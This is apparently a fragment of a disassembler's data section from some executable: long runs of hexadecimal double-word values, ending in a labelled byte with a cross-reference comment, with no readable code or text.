dd 54F20154h, 77C0A51Bh, 0CAAAF2B5h, 0F6AD54h, 0FD9E38DFh
dd 811D66E2h, 725FCF02h, 5DF52927h, 0C5A17A51h, 918522Fh
dd 9CBF54C3h, 44AD3B79h, 8973BF5Fh, 1506E782h, 83535DE0h
dd 9E1D0FF8h, 22C225F7h, 2FDC4D56h, 0F7860B8h, 61F9AA88h
dd 4C4149B4h, 0B82FB29Dh, 17BB9312h, 0B8641633h, 0FC3DD0D0h
dd 0B5FE90B1h, 785C8CB2h, 73BCF544h, 0B31CB75Eh, 3509804Dh
dd 8DDE9FF5h, 4165C24Ch, 1D2D601Fh, 9BFECFD3h, 6DBFC01Dh
dd 5C8D8641h, 8013ACEEh, 864A0CEh, 0A1FB4082h, 0C036BC1Ah
dd 0FF240520h, 0FD4438h, 89993459h, 397867FEh, 7792CD31h
dd 0AA9CEC5Bh, 0A9FD0F00h, 0CFE07DEEh, 2E1FA3A1h, 0BD9382EDh
dd 7FFF4B6Dh, 934C7DAAh, 0C0ED3E09h, 0BC609D96h, 723A76BFh
dd 37BDF9D3h, 0B4CB0103h, 0F34FE862h, 54255BE9h, 0C5A7EB8Eh
dd 0E598B6A0h, 2316839Eh, 0BFC020E9h, 105FAE40h, 0EDEB8102h
dd 5E6672D0h, 0A75351AEh, 0DEAF5C52h, 0FDE9A300h, 33A4B813h
dd 4B3A483Dh, 0C2913134h, 0EC55829Ch, 0BD919FADh, 0CCFFFEF1h
dd 5BE019Ah, 4EAC0232h, 7EE82F68h, 0B29B64A4h, 5DE84A43h
dd 855B3C00h, 0B9F54BFEh, 6C091AEEh, 790A221Fh, 9D8984B8h
dd 0FD0BAA21h, 8E6FD160h, 0D3E45951h, 8110EDDDh, 1BA9BB66h
dd 0C8E0DA6Bh, 572FC019h, 0F0E9A18h, 2B9D0126h, 0ACCC771Bh
dd 0B9B52909h, 71337420h, 9FD75F66h, 0CC950039h, 0A18EFE7Eh
dd 77B95BEh, 9C181659h, 32B80875h, 1628E522h, 0BC1291BDh
dd 99FE93E3h, 9D03402Ah, 549D3055h, 35FFD263h, 22F627F8h
dd 0E141D02h, 5224D829h, 0C131FB2Ah, 2F34E995h, 0DA6FD816h
dd 7FA0E500h, 6156E8D3h, 0D0F74D27h, 0FF2E614Bh, 3AB509C1h
dd 6BAB6E53h, 271723F9h, 0F1A59AFCh, 60ED00E9h, 1499094Ch
dd 9C156A05h, 0A5FB8B4Dh, 0B9B02B2Dh, 40A89690h, 36A7C4B7h
dd 6440BA01h, 63065D60h, 9653EBDCh, 0C3CF38E6h, 909A94C8h
dd 0E872D2F3h, 9FC0B366h, 0ADEE25Ch, 4E766BD5h, 976920E0h
dd 0FFBA925h, 0E58B2CA8h, 80DB37FDh, 5F16F73Bh, 0CC04F484h
dd 7DB3B80Fh, 0BD2531E9h, 0D1B0BBFAh, 824BCB0Ah, 8625A850h
dd 95885777h, 1D15FFD4h, 95290450h, 2DD11649h, 2A96CB8Ah
dd 8D2FAC1h, 0C1CC5504h, 0DCB54DDh, 3455508h, 0BD1EE58h
dd 0A1F12AA9h, 626A640Bh, 253D5082h, 0D669F45Eh, 0E22FD496h
dd 9FF1E8h, 703D816Bh, 4E1CC1D2h, 234BA7EBh, 8A10F74Ch
dd 149D5A7Ah, 8115FF05h, 12DF5DCh, 8541026Ah, 0AE050511h
dd 12077C2h, 6F535090h, 1A15E720h, 28B309EBh, 447D5F5Bh
dd 774903B5h, 8F2C32F7h, 0DB15E3B0h, 3C00D00h, 5B394F2Bh
dd 0BD310B90h, 375F2071h, 0E905A4D2h, 0AE84A9D3h, 0E3BC7AE9h
dd 41136E1h, 0D7691697h, 894CBF14h, 893093ADh, 7CA0ACh
dd 9B372C1Ah, 96711B1Fh, 0D93A7716h, 4A312EAh, 32F156Dh
dd 0EF8B6050h, 40AC5245h, 67A25580h, 0F707A4ECh, 0F2DD9D39h
dd 0EAC50401h, 0D62FA27Fh, 8B123CBDh, 489F6D8h, 17F99509h
dd 0F506A6FAh, 0DA289FF6h, 21012EFBh, 9B9AE104h, 0C5BD6A10h
dd 0C741BC01h, 0C0E76F3Eh, 8B973723h, 0A54FF7BFh, 2CBFA14Fh
dd 9A41862Ah, 0C324E99Dh, 1C70780h, 0B503FF6Ah, 2ED5F9E1h
dd 61090AF9h, 0D0EF5312h, 20023E5Eh, 5C529BCCh, 0C49D5EF9h
dd 9AF25659h, 0E55FBD00h, 5063E46Fh, 0E62BCC00h, 302468FAh
dd 0DB4133C8h, 78431BAh, 6005B05Bh, 0E9F7AFE0h, 61B6023Ah
dd 0B84070E6h, 0E4802CC1h, 5D3AC471h, 36E2AA2Fh, 44411828h
dd 6079512h, 117E096Bh, 9857AF50h, 90F30ECCh, 0C105D504h
dd 5FECE0ECh, 72247A95h, 251947B5h, 9794E48Bh, 5509A529h
dd 0A53DA571h, 1014D2F8h, 4B922EBFh, 0CB304CF0h, 6918D139h
dd 130EDB93h, 20DC9DDEh, 5F0641EDh, 0F683E7B4h, 0B0E95BFAh
dd 75332D51h, 50796092h, 47554C0Eh, 2B75C529h, 0EA9675AFh
dd 2FE638CDh, 7B52BEF6h, 8B27A4E4h, 8866465Ch, 7EE89476h
dd 0DF284C01h, 6EAC6E74h, 70547920h, 87670023h, 7280E7EFh
dd 5B5A1AD6h, 5111A9F7h, 7945C90Fh, 0F22892E0h, 25E496AAh
dd 5775A195h, 5CCD883Bh, 9BF422EAh, 85110F02h, 0FC5FA78Ch
dd 48494064h, 347C8F61h, 0C1B6264Bh, 5B128C21h, 0B610C8F6h
dd 16484890h, 0DB622AEDh, 3FEC55DBh, 0B9FB8B0Bh, 66DFC28Dh
dd 444A012Ah, 2AEA3A5Eh, 0A1A26BB4h, 8415C282h, 0FE279E5Eh
dd 0BF0E6C4Ah, 0DE2BF92Fh, 5EBDDE06h, 3448860Dh, 0D812B63Eh
dd 3DB9D22Bh, 9AE63EB9h, 0CF80C704h, 0FC89BDCBh, 34178C1Ah
dd 50AADB32h, 0B25BCE0Bh, 0D45B80E9h, 1259C4A1h, 0B845A3A0h
dd 0C2F9B51Eh, 7909D1B8h, 4384378h, 0FF53C544h, 1767CD9h
dd 5C8364E0h, 0BD5A1862h, 69030707h, 5C1E627Fh, 7F0055B4h
dd 61455F3h, 0AA474A74h, 6BAF6924h, 18234Ch, 0EC2813ADh
dd 223BBF17h, 0D57E279Ch, 1545C117h, 0BE153727h, 3C498FCCh
dd 9FFD2F6Eh, 0D4AD38B7h, 6060A419h, 0D8A8DDE3h, 55A9AF2Dh
dd 26EFD898h, 3D2540E2h, 4963D35Bh, 0D2597A18h, 196704Ch
dd 8723D017h, 0B82EE65Bh, 0F269FD74h, 0FAD52683h, 0C1521EB0h
dd 57DACE25h, 7BD1781Ah, 0CE2B3400h, 25D06D1Ch, 7A5EE459h
dd 7911B589h, 4977C4D2h, 4FC779FCh, 0B11DF7F7h, 282F971Fh
dd 578824C1h, 6E605B5Fh, 0D4B2344Eh, 9AAB6CC4h, 0D3AD916Fh
dd 29C1CAE2h, 39122595h, 69D278F5h, 1B4C9FE1h, 0F7BF00B5h
dd 295A966Ah, 5497618Dh, 52ACC4F9h, 940B3FA2h, 58806122h
dd 2B12D040h, 80EC3C39h, 0A9E1B846h, 4CDD571Ah, 8A7676B4h
dd 0FF921F20h, 3A00E0E2h, 4777191Ch, 67AF16h, 0D0BFF893h
dd 0A76ABEDBh, 7B955B71h, 191C5968h, 1929DF8h, 86857365h
dd 7E890309h, 0F812B6A9h, 8EC9AF60h, 415D3270h, 71202F1Ah
dd 31CF5E4h, 0E7164FE2h, 0E1F174F1h, 5F8CCC79h, 0B1D786A2h
dd 416FDE0Ah, 0A5BD297Ch, 7AFD6A14h, 66096FECh, 5C86D4BBh
dd 6352596Eh, 61DB4025h, 71413E0Fh, 0C2CFC0DCh, 0EDB709Ch
dd 6B28681Eh, 0C4310FA5h, 2E07ABE4h, 0D9F1BB60h, 79504CC2h
dd 1788017Eh, 1FB19B41h, 2A4A8171h, 768E3F94h, 0F8FE6F30h
dd 3699BFB5h, 985E40C3h, 0F8039AD3h, 10747B59h, 2554B776h
dd 1238D55Fh, 0DD3E6DA3h, 4C960042h, 3C8997E7h, 5BC812CAh
dd 4A21E758h, 8D01256Ah, 0A7E6CE55h, 0D2206EB8h, 9F55401h
dd 7D3EE50Ch, 9CA45BD1h, 2E52D101h, 18AA0940h, 0C1E9130Bh
dd 707ABB01h, 0F4175300h, 0A457CBF1h, 6AAA305Ah, 0CC984EF8h
dd 1702021Fh, 0D3AA5AEDh, 0F8137355h, 1100AA50h, 0D4B05E9Ah
dd 0F418B6E4h, 88CA01BBh, 565B556Fh, 0B8C82B31h, 6F0B9D5Fh
dd 80283DFFh, 26919CD9h, 6F16BB3Bh, 0DBF8CC9Ah, 3176CD4Bh
dd 1130606Ah, 0EBDA5697h, 2B185561h, 0F91043A6h, 0C0963023h
dd 7742B25Eh, 0ACFB9D2Fh, 97AAFC70h, 956109FEh, 0A83E052Dh
dd 119AA5B3h, 6839E5C0h, 6B25D8D6h, 66B0D53Bh, 441662BFh
dd 44AE0B92h, 12DC8A7Fh, 294E00BAh, 663B74DBh, 0FC44BF13h
dd 80502AAFh, 0BE10B64Ch, 785B1331h, 5AB0E845h, 968BF3ACh
dd 0F100CFD9h, 0A40B5632h, 0FD8A2FE4h, 0FEB9FF5Ch, 0A92DCD25h
dd 5E1DEAD4h, 1646D608h
dd 17BC021Fh, 0E082F661h, 4E90B05Ah, 6324FADBh, 0FAB41FBCh
dd 0CFBF5913h, 67A24EB4h, 0DCD92600h, 0E4477538h, 5A6FFB00h
dd 0C33E53B4h, 81243817h, 0E8B93D12h, 4412932Eh, 0AA4E7EBDh
dd 9CB44A6Bh, 0CCF67027h, 0CB7CFF00h, 30D942F0h, 0C799560h
dd 0AF2EB880h, 17801F09h, 30618FF1h, 0F255D950h, 77C90812h
dd 405B5BC2h, 97D3E972h, 5A25F394h, 0F478F404h, 0BD232F09h
dd 811AA0A1h, 2433B8D7h, 59015E44h, 4D6AA525h, 12CEE0E7h
dd 0F33959C9h, 0BE89810Fh, 0B5316008h, 7F8F29C9h, 7F241AD2h
dd 846EAE56h, 38021723h, 0D7B5D142h, 0CDD5D49Ah, 56536B3Dh
dd 83D55900h, 2D9AB5Fh, 8D09086Fh, 5B75321Dh, 0F2B8720Eh
dd 3AE5072Ch, 18AD7D74h, 70F9CAA8h, 7EFD34C8h, 0CB13BD6Eh
dd 5A68FD03h, 8025F9E0h, 0D52DBD0Bh, 79627B2Fh, 1ED181Bh
dd 0F2560B58h, 3A50F18Bh, 0EB804A30h, 57AAAA3Ah, 6F80883Dh
dd 10F976DCh, 3DFD0B3Bh, 2464B894h, 73EDA601h, 0E2CC798Dh
dd 72088A3Bh, 0DBA76C4Fh, 3591E48h, 0E662D94Bh, 92759520h
dd 25729ECDh, 0CF5D61E2h, 0F4FE67BEh, 77B3647Fh, 0E4C6977Ch
dd 4F6B0C44h, 0D2FAF268h, 207A6BF1h, 0D7ADAACFh, 2C4DD40Bh
dd 780A0990h, 9D3D923Fh, 2CFEF954h, 2584A743h, 202985E9h
dd 799D2CC1h, 0C2524BD8h, 4ACB803Ah, 4AAAEF8h, 0CA1999E4h
dd 0B7AF5EC5h, 0DCEE0135h, 2BD66547h, 25F65DFCh, 0D5ED524Eh
dd 0EF641864h, 8C4A2DC3h, 47AE3CC5h, 61BB9680h, 2D45DB27h
dd 13374C13h, 88FE664Dh, 0B1949696h, 215E0DCh, 0C96785FAh
dd 43E09744h, 339E0209h, 0D8A631C3h, 2BBE2763h, 3FB2AB9Eh
dd 5ECFF25Bh, 7DAD70B9h, 854880F8h, 0FF8E6B8Dh, 0CB1CA073h
dd 0F97901DDh, 0DC052BC1h, 0AF48ED2Ah, 0B1ADC147h, 0D0EDC5D9h
dd 0B5B7D6D0h, 37513956h, 49E62FB1h, 60500001h, 660404B0h
dd 0BB7CD8BAh, 576F2D53h, 55DA7100h, 0CD665275h, 314EE716h
dd 87771BAh, 0E0342FB0h, 0A1D629BCh, 0B0624A1Bh, 4F19763Ch
dd 2B9FE039h, 79D7D395h, 0E81C1817h, 0A61F64EBh, 0A2E6BCFFh
dd 0D223271Bh, 3A5D1C05h, 80C67F85h, 0F95EC65Eh, 9BF32C92h
dd 65F780C0h, 909D0151h, 4BE95BE0h, 0BA78C495h, 0BF3A2AA2h
dd 1847F82h, 0B85EC18Bh, 0F87200DCh, 9BF2C6C4h, 0D395FC08h
dd 191C5988h, 0C4A3EC6Fh, 9AEE038h, 3D57D8F2h, 79DD8786h
dd 97CBE0FCh, 594A150Fh, 791B0982h, 0DA68B09Fh, 0A0CEB81h
dd 0D04AC2EEh, 0E5212D6Dh, 5C811337h, 2F18F2C5h, 138AC130h
dd 24870F3Dh, 438CBA15h, 0F0615060h, 0BD064E01h, 8C1AA89Ch
dd 89D0FD01h, 97871FB7h, 2701E33Bh, 12DD50h, 78FCAA26h
dd 0AD7BE145h, 9D0BC09h, 0FEA05E0Ah, 12B16902h, 1C85C42Eh
dd 8342C817h, 76B5BF30h, 257A0C94h, 8C74E347h, 0EC1B12F4h
dd 7AC8EEF8h, 7BCD09B2h, 2281E320h, 2F61E422h, 0BD33BD30h
dd 0BC94978Dh, 27B8F0B5h, 37D1FFh, 2C02B200h, 1CFBCF7Fh
dd 6DE65F68h, 0C5A52EF9h, 4A241188h, 6AC09FA8h, 16CF8002h
dd 0D549F7B4h, 284AB0EAh, 0B280A26Ch, 61891335h, 7741382Fh
dd 23392141h, 8D4ECBB8h, 8AABC985h, 0BF50021Dh, 8999DF3Dh
dd 8EB0B758h, 0C74069A1h, 76FCDB5Eh, 95BD030Bh, 9614D708h
dd 13F3097h, 0BD7DB88Dh, 17795B5Bh, 3E0B4236h, 1DD782Bh
dd 0D6A7F712h, 5C402220h, 23249854h, 212113D2h, 852565D1h
dd 1E49B579h, 137D7AFEh, 9FECAA3h, 0D7BBDF1h, 0BB025F11h
dd 2279ACC6h, 0A8DAF9DDh, 0F4194AA5h, 704AE6AFh, 18D55D71h
dd 6C71E401h, 0B6E280EAh, 0FCB7B45Eh, 0DC3100B9h, 88306410h
dd 32E6BC26h, 0ED2C74Bh, 1109111Dh, 0AAF46E69h, 2F470236h
dd 15BA511h, 97AE44DDh, 816A080Eh, 0C2F92538h, 387285ADh
dd 73AC6380h, 0BA251CA2h, 2E5CA85Dh, 25EE8B60h, 0B9DC277Dh
dd 0CEC75E69h, 0D1691728h, 662C0006h, 0C3D2537h, 0A1672D00h
dd 0D0210A55h, 74F0284Dh, 16EF16EEh, 484FE9CFh, 61493509h
dd 116ED1EAh, 0C30091Ah, 0DA052C5Dh, 0BE9614A9h, 51B1858Fh
dd 9F8D7807h, 0B4E490Eh, 7BE57844h, 0F2BF04C0h, 0AE50AF1Eh
dd 0A97EDCA3h, 0B82EB1D3h, 0DB1CC965h, 50CB8908h, 9456CD00h
dd 0A0009A9Bh, 0CF61081Ah, 0EC8F054Dh, 2D4864E9h, 8226BDFCh
dd 391BA9BDh, 0FD8A6E32h, 0D7703127h, 272C1497h, 63908529h
dd 0E81412DFh, 40960D19h, 0D578B377h, 1E7DBD12h, 43A1DBBCh
dd 9DB92AA0h, 490067BCh, 52F3A68Bh, 0DBFB984h, 75A88921h
dd 0C9E10150h, 48F66A28h, 0BD459CF5h, 0B79B4F00h, 0D8941D11h
dd 44B913FBh, 25D6210Fh, 0A2EE0432h, 0EAB312AFh, 412D4FF1h
dd 0D016BCB8h, 0C06FFCDEh, 0AD89D02h, 0B5D6A2D6h, 3D20F920h
dd 0B3C0E62Bh, 0FB7D7869h, 0E8012673h, 1B3EDB50h, 34F18146h
dd 977EE4CCh, 549D1744h, 64CDF225h, 0B12EBB60h, 0FB5C1394h
dd 1E69E2A7h, 0FF003326h, 409266E1h, 0F93B06CCh, 0F6B685E3h
dd 57279BDh, 0AB1D819Dh, 9DB744D8h, 102DB17Bh, 7EF10Ah
dd 31990C49h, 0CA5830BFh, 295F2F02h, 5E14CD8Dh, 0B2DDEB10h
dd 255971BFh, 0E0629DD5h, 0E2382373h, 76C61366h, 0DECAD276h
dd 0F68F8022h, 500ABC88h, 4A8D9E82h, 0E280BC34h, 4BBD7DB9h
dd 0F4A6F280h, 9ECE97F6h, 9E6F2547h, 60B31A41h, 6688206Bh
dd 800E5AEh, 94975B2h, 25F99CFCh, 24FF8B5Eh, 0DAEB6184h
dd 0C219C8B3h, 56578F26h, 0BDFC28E9h, 3AA84AC5h, 0BD017920h
dd 7C485DD0h, 0E79B5F55h, 38562182h, 82514C5Eh, 15D90414h
dd 1839BA1Dh, 668FB52Bh, 7898F084h, 0BB950218h, 490AF71h
dd 2351585Eh, 3C3DFFEEh, 0C4AED702h, 53C175ACh, 51600107h
dd 975B6034h, 67E5E8Bh, 31041908h, 2ED58DB6h, 6A9740B9h
dd 0D1017A37h, 2AD8BDA7h, 0F370399Ah, 0D1DB4B69h, 7B015850h
dd 0A302E07Ah, 63CD2A3Dh, 7FD8FC0h, 0C4B4FC95h, 1C4EE0Bh
dd 0CFA739A8h, 0AA3D52B7h, 0B692EDDAh, 8B7013F1h, 0EB6595BBh
dd 249AFD03h, 349BB550h, 97F12DFh, 0EC78EA27h, 0B7DB2F62h
dd 0FF6F7FF8h, 57FE2A42h, 0FA8049D2h, 5B8829BDh, 337C0468h
dd 0AAB3F439h, 483F7E0h, 8B0BE5D0h, 6E8AEBFEh, 8EADABA0h
dd 2178D662h, 157C0926h, 2052D705h, 9FFFD9C5h, 0B0C58454h
dd 6224ADAEh, 1019D68h, 2B0206E9h, 0F4A038A7h, 2A5B6629h
dd 0FCAC4DC4h, 9C781C0h, 5A4F7AA7h, 0ADBF24FBh, 0B0DE57E6h
dd 20776120h, 4A9E8B1Fh, 64D76D25h, 12EB6414h, 0AC44BDAEh
dd 9B788C1Ch, 3B41A81Fh, 7AFA4804h, 6140BFAh, 98C0A1EDh
dd 5BFB390h, 32E88FE5h, 1482C0FCh, 4E4B055Bh, 431918DCh
dd 2CA04B11h, 503A27EBh, 423F8BF5h, 0D8B7579Bh, 0FEB3B809h
dd 0FEA513C8h, 5180B79Eh, 85089EDDh, 1216219Ch, 81E472E8h
dd 9D5DE38Ch, 74E752BEh, 61B3883Bh, 8D3E425h, 2B5C3EBAh
dd 84E65027h, 4DE890D3h, 0EEBD6158h, 669F960h, 0EC5D569Fh
dd 1BD095BAh, 0D2D000B4h, 0B75061CFh, 1F469E09h, 0F4EA0060h
dd 66376FE9h, 2392B801h, 3DC78061h, 0B259E62Bh, 29C03218h
dd 91C74CB6h, 121911BDh, 0F87587h, 20AB615Eh, 7FE2ECFFh
dd 534FE517h, 9D031E60h, 5B1940ADh, 0B5296104h, 0E7BA1C6Dh
dd 5BA9E452h, 33EE3B82h, 97057A7Fh, 6E3124C1h, 1CE2858Ah
dd 4BA42930h, 0D53EECD2h, 0F3811D20h, 20C42702h, 97B644E9h
dd 0FBD2571Dh, 0B08A53D1h, 0B2E14262h, 5D600211h, 0C0DB2D04h
dd 61C9BFCFh, 2C3E9497h
dd 0F60E0435h, 99A8A409h, 0ADA20265h, 5EF39E33h, 0ECDBFD03h
dd 67AA01D6h, 95092964h, 0A6A77AD5h, 9ECA6A5h, 7BCDE575h
dd 4E6DA527h, 96657D4Bh, 5EBD2909h, 0C7E2A5FDh, 5D698256h
dd 0ACF0FD93h, 9D5FC425h, 795B1009h, 3077AD1Ch, 4E5BE7AEh
dd 217BA567h, 0BD8479F2h, 128EF92Ah, 12AF445Bh, 0F8FBED9Eh
dd 27FEB838h, 0CD74CE10h, 1A46D6h, 0B2C684A1h, 17F6E873h
dd 0BBFD8529h, 265DD4D1h, 0C1D5772Fh, 2B01A9BDh, 0F802E4A7h
dd 13C59D09h, 4E54E57h, 706539BFh, 80CAB937h, 90BBFBB7h
dd 2119251Ch, 3757B5C2h, 5BDB002Fh, 26BE1EAh, 0F12DB5E4h
dd 43F9DAh, 1D5E76Ah, 2BE57D35h, 345520AFh, 0BE17C122h
dd 67A19FF0h, 0AB856A93h, 1F51458Ch, 9C4EEBBh, 0F2715F60h
dd 0D7F7808Bh, 0FBB8F484h, 986DA470h, 0A80C02A2h, 6C50C3D1h
dd 2DE9735Dh, 5B93B756h, 0C20A9BFFh, 563EEBD7h, 1B46D69Dh
dd 6AD9AC00h, 299E0CF8h, 3D0B6EE9h, 0AFB0FB23h, 5B5D4BC2h
dd 2BDBD00Dh, 50B62725h, 372104CBh, 0AF74E780h, 0FD0938h
dd 0AF332E2Dh, 13B745Ah, 5906230Eh, 7B24A402h, 0EED2BEB8h
dd 8BC20902h, 0BA715DD0h, 130E5447h, 23B6FFAh, 0F4D026Dh
dd 0DA5BFD8Bh, 17E513ADh, 0FC96FF82h, 0C450CB3Bh, 0CF8100D5h
dd 0D57C516Dh, 8300CCC8h, 0DB524884h, 27A8ABB0h, 4758C006h
dd 0E2EBDE56h, 64F5321Dh, 995FCC9h, 0FC707F07h, 8113C373h
dd 96C37C60h, 4858BD3Dh, 0A4FF334Ch, 304D0A81h, 0AB1FBC2Ah
dd 1E7E2B12h, 3835C961h, 6C44AC71h, 0D214E852h, 2AED320Bh
dd 5FC9A84Ch, 9A95EBC4h, 40C07CBEh, 0B5D9C197h, 5F0387E8h
dd 5B1FDBCFh, 122CB95Eh, 1C1E74E0h, 25C6F473h, 1DE9C74h
dd 9B8F2EB1h, 68860FF7h, 4989882Bh, 0AF15AB24h, 0FE3D986Dh
dd 0F4B51EA8h, 32DDA88Bh, 87FF2DF5h, 512D195Eh, 0C12FBB90h
dd 90002237h, 0F54234ACh, 48353F2Ah, 644C5A5h, 0A9EE5D01h
dd 0FDCF11F9h, 2A717C8Eh, 2879F689h, 919D2382h, 98395D1Eh
dd 2A189031h, 0BEBB5001h, 2812C672h, 11E64AFEh, 7C2514E0h
dd 186FA902h, 77278A02h, 91C2966h, 76259985h, 7F04FC96h
dd 2EB586B9h, 89269AD2h, 0ACD38E28h, 4BAD18E3h, 0AA7B421Dh
dd 0D56FE531h, 790EC40h, 0E52709B0h, 3078F1A7h, 7937B7h
dd 329C64ECh, 604A8DD3h, 822380A0h, 61D6A5C0h, 81B1D1B7h
dd 0EAFA5806h, 850F116Ah, 0DB5A5C26h, 309A819Ah, 0C5599D8Bh
dd 0ED1AE02Eh, 0CA50441h, 9A61C626h, 0A4EDDF4Ah, 2D8C15ACh
dd 0C3D314D1h, 35181B59h, 0B1EE9500h, 61C56554h, 89D105FFh
dd 0BA29F18Dh, 9D4DA138h, 6AF87A98h, 8EA6025Eh, 0B0A16FE3h
dd 80A87C50h, 86D8590Ch, 0FB8000A6h, 494FBBDBh, 0F5B7CA3h
dd 569D8BECh, 0BEEC2910h, 2533A0B4h, 3DE702E9h, 4B31B408h
dd 1B095CB5h, 6389FD03h, 247965D5h, 0A41CD647h, 0B7C0ACE0h
dd 0D7BB03D0h, 0F8894EA2h, 76508B90h, 76CD4B2Ah, 0AD9490C0h
dd 23452F91h, 0E90050C4h, 2903DE61h, 9A33ABh, 64B79848h
dd 0A9E4ADB9h, 0F028470Bh, 412975D9h, 49016684h, 3F807BF9h
dd 75028A11h, 0BF66DA04h, 8CBDE0D0h, 598D3181h, 0D94C0A2Ch
dd 0B8F4EB07h, 0DEF3C96Ah, 0D0FC70h, 5E03859Eh, 997FA6BFh
dd 0B322E580h, 2B60D8EEh, 757AAA04h, 0F6A1E781h, 0F786632Eh
dd 0EAF53125h, 0FA980176h, 7F7171E4h, 0E3584A2Eh, 42F44F95h
dd 2FC5112h, 709850Fh, 249525Eh, 5E9E8AB9h, 0ED124D3Eh
dd 607A6020h, 0F21080E3h, 35C781A0h, 369C1D32h, 0DBD7CF61h
dd 0AE55E924h, 5D297E92h, 0B971F64h, 1338D52Dh, 0C84B2BF9h
dd 0FCC05CFCh, 80C6F273h, 0CCCEDB03h, 1C5B43C9h, 0D361CBD8h
dd 0FB64EED1h, 22FB882h, 5FE66FE9h, 509AC0B5h, 8DB52689h
dd 0C5F964C9h, 74F3FBF7h, 12740150h, 5B1F36A2h, 0FA0B2439h
dd 57AEC8BFh, 54797FBAh, 1C75E4B1h, 6F2E8391h, 7913693Ah
dd 0E6B3893Bh, 19113779h, 892B984Bh, 34019D10h, 63407458h
dd 1EB097F5h, 74B7AF87h, 0EF0BDE48h, 44A8528Fh, 0C56B01C4h
dd 90E3EE57h, 60F37E54h, 8E45B27h, 2B5A909Dh, 0F1290039h
dd 1458D0E6h, 0D795E2DBh, 5793743Fh, 43AFAE16h, 0FB5B967h
dd 4CE6FB84h, 34F08DE0h, 7AFDE60Bh, 0ABECF7EEh, 97133520h
dd 0DD78520Ch, 5FDE1F41h, 2B1260E6h, 0B5C057C0h, 0B75BF48Dh
dd 14440A4Dh, 555CFD62h, 0C692510h, 0CDA51C54h, 0A1D3AF19h
dd 4FD1850h, 9195098Ch, 0E8FFBD01h, 9C2D00EBh, 0CA7726A5h
dd 0A0A08F31h, 798221D9h, 672020Fh, 51637ACAh, 0A1B0EB94h
dd 0FD54BD5Bh, 162DAD62h, 294A59F8h, 15F23AF6h, 0B5D9D630h
dd 16D9D6E5h, 1D2C7418h, 0A82E8B59h, 0B17900DCh, 13A9F8CDh
dd 0D309ECA4h, 797FD780h, 0FF604532h, 0AD01BC7Bh, 9D5D6186h
dd 326A2FD9h, 0A3001923h, 0DD2A6DDEh, 2A049D29h, 0C8DDEB2Eh
dd 40FEE204h, 0BBE1FF12h, 0AB258761h, 12D9C518h, 0B095E76Fh
dd 62559372h, 2FC18AB4h, 5871F85Ch, 0C018C80Fh, 856C6872h
dd 5174569Fh, 0B74DADF5h, 37D4097Eh, 7E29557Eh, 5458D04h
dd 0A184090Fh, 37600915h, 0A6BAB9FBh, 0F09720CFh, 1300C2E4h
dd 9DDBC597h, 1D353B7h, 26AA5F7Ch, 2F7E824Eh, 496E2E17h
dd 0D3804107h, 0FCE134E3h, 88EBD73Bh, 0D33C336Dh, 1B52875Ch
dd 12E19C7Ah, 0C82BD88Bh, 60881380h, 262376B4h, 9230A59Dh
dd 7CDAAA61h, 3EC11995h, 21120E2Fh, 9C70CA52h, 0D42354B7h
dd 28C27F94h, 40C1F602h, 5B603283h, 30AAB917h, 0ACC2F13h
dd 64DE25EFh, 0BB661B62h, 590DB82Fh, 48DC253Eh, 17E15825h
dd 0E9585AE7h, 26E8ED2Ch, 0C77CC330h, 464A7DA1h, 16BC01E9h
dd 0FA02CDE4h, 0FFB7E90Dh, 40765871h, 951D681Ch, 0BBC08C98h
dd 137F5AEAh, 0F6FB681h, 0AF92939Bh, 4AD5F5D8h, 4E51B721h
dd 5D2BAF09h, 0E9F99D38h, 0B0F7549h, 5773B753h, 50CAC6B3h
dd 0BF60E15Ch, 7D318880h, 0AA855A78h, 0C99DDF30h, 0F97B9D1Ah
dd 0A0181779h, 5334CB16h, 2DA4B4C8h, 347CACF4h, 0BB0AB0D2h
dd 0C0E32CBDh, 0FC061837h, 6DB733B5h, 6016E45Fh, 97C7A697h
dd 0FCBBB821h, 0F3D2424h, 0B2CD8E5Bh, 0F2B23645h, 7A041F0Fh
dd 6E8D0640h, 530087EBh, 0E418F163h, 208E456Ah, 0D82D503Eh
dd 499EFC5Bh, 81396455h, 0F46F1DDDh, 0A54BB54Ah, 5B577AFBh
dd 0EC4B4DF9h, 688A4404h, 0C649FB0Bh, 0BFCB800Dh, 925B54FCh
dd 4A041F38h, 0E3FB65D9h, 4021570h, 8DD1E365h, 62B7BF85h
dd 0AE17BDB0h, 90625BFEh, 0A7157DA6h, 939AF89Eh, 142D7109h
dd 59BBE82h, 0DB6116BFh, 0FD7BC92Fh, 5409E1BBh, 71D18FCFh
dd 1B746B9Bh, 63107F4Bh, 0B876F568h, 56AFAC4Bh, 6E60FFE1h
dd 9D5B49E3h, 46540AD1h, 194F001Dh, 326960F0h, 0CCDA13FEh
dd 0AA0C88B5h, 0F8129700h, 65139864h, 0F6CB25EAh, 0F32F5BDEh
dd 5BB4D071h, 82379D04h, 3B0010Dh, 62F8822Ch, 1DF3224Ah
dd 0A3DA4FBEh, 0A128F892h, 6E6FFBB7h, 572B01DBh, 8D792C84h
dd 3680F63Ch, 663FFC72h, 2FF19000h, 3ED8611Bh, 4A5F0FAh
dd 0EFF0EE12h, 765480F6h, 5948F7A0h, 6D8D0B74h, 0D81C5D1Dh
dd 26894145h, 0E5712381h, 23442EC4h, 46F0AB9Dh, 0FFCD4EB7h
dd 1B00357Fh, 39DBA1B5h, 0EB288179h, 6D3EC590h, 1A691229h
dd 89CEFDB9h, 0E79231CFh, 66304E05h, 0B0EDF81h, 8938AE5Fh
dd 79298709h, 46D6CE56h, 3C39001Ch, 6E221B9Ah, 55A93112h
dd 0BB079560h, 0DED1391h
dd 0DA9F91EEh, 8CB77AEAh, 0A1A4F6B0h, 9147458h, 0FC5180F1h
dd 0AD5F6471h, 0BA138854h, 5AE29Eh, 82AE8DC6h, 0BB00311Eh
dd 0B787FF5Dh, 5EF3D4DDh, 25F3AC18h, 5A7C742Ah, 4660D44Dh
dd 11493A3h, 4BDB8154h, 6E68969Dh, 21FC05B9h, 1D4B202h
dd 423698Dh, 0D2F5B8F8h, 410E72B2h, 0FFE0CA7Fh, 381AF093h
dd 41401ABDh, 43B4D949h, 4B09B9CCh, 2E026EAAh, 1912C623h
dd 0F2C0ADEDh, 0C913DCFAh, 214C1800h, 0C744F902h, 8A74078Bh
dd 0F40B4379h, 0D7E7EA0Eh, 2039C0F0h, 0E2F93125h, 0F50D8957h
dd 165C50C2h, 0DE0E7E27h, 5D1B202h, 0DF8B871Bh
db 0F2h
byte_515545 db 0FEh, 5Eh, 0F5h ; DATA XREF: ___:0044471Co
